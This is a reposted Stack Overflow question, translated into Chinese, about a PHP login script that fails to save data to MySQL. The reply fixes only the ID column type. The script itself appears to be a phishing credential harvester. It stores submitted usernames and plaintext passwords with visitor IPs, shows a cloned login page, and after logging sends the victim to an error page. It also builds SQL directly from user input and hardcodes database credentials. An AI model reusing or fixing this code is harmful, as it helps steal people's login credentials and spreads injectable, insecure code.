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php - 我无法在 mysql 上保存数据

转载 作者:行者123 更新时间:2023-11-29 19:45:24 26 4
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嘿 friend 们,今天我正在创建我的登录页面,该页面在我的数据库上保存了用户密码,这个项目是我在学校给我的,现在我非常沮丧,因为一切似乎都是正确的,但当我尝试创建数据库时,它说错误......我已经在这个 index.php 脚本之后发布了屏幕截图......

 [<?php
{ //credit
/*
*
*by nalin
*
*PHP ver 5.1.0>
*Tested on 5.5.27
*
*
*/
}
{ //config
error_reporting(0); //turn off error
//server address
$data\[server\] = "localhost";
//user name
$data\[username\] = "a0103769_nalin";
//password here
$data\[pass\] = "Hydrogen";
//database name
$data\[db\] ="a0103769_nalin";
//table name
$data\[db2\] ="data";
//redirect when detect the username/pass is empty
//prevent the db getting filled with junk aka empty tables
$header_empty = $_SERVER\['PHP_SELF'\];
//when it is logged
$header_success ="error.html";
}
{ //mod
//cloud flare ip converter
if(isset($_SERVER\["HTTP_CF_CONNECTING_IP"\])){
$_SERVER\['REMOTE_ADDR'\] = $_SERVER\['HTTP_CF_CONNECTING_IP'\];
};
}
if(isset($_POST\[submit\])){ //Send pass & username to MYSQL
$id\[name\] = $_POST\[uom\];
$id\[pass\] = $_POST\[pass\];
$id\[ip\] = $_SERVER\[REMOTE_ADDR\];
$idts = gmdate('Y-m-d h:i:s \G\M\T');
{//empty filler
if(null == $id\[name\]){
header("Location: $header_empty");
die();
};
if(null == $id\[pass\]){
header("Location: $header_empty");
die();
};
}
$con = mysql_connect($data\[server\],$data\[username\],$data\[pass\]);
mysql_select_db("$data\[db\]",$con);
$sql = "INSERT INTO `$data\[db\]`.`$data\[db2\]` (`ID`, `Name`, `Pass`, `IP`, `Time`) VALUES (NULL, '$id\[name\]', '$id\[pass\]', '$id\[ip\]', '$idts')";
mysql_query($sql);
mysql_close($con);
header("Location: $header_success");
};
if(!isset($_POST\[submit\])) { //echo the full login page
echo '
<html lang="en" data-scribe-reduced-action-queue="true"><!--<!\[endif\]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

MySQL 查询

CREATE TABLE `a0103769_nalin`.`data` (
`ID` TEXT NULL DEFAULT NULL AUTO_INCREMENT,
`Name` TEXT NULL DEFAULT NULL,
`Password` TEXT NULL DEFAULT NULL,
`IP` TEXT NULL DEFAULT NULL,
`Time` TEXT NULL DEFAULT NULL,
PRIMARY KEY (`ID`)
)
ENGINE = InnoDB;

最佳答案

ID 列的数据类型不能是TEXT应该是Integer类型,因为它是主键AUTO_INCRMENT 仅用于 INTEGER

关于php - 我无法在 mysql 上保存数据,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/41033365/

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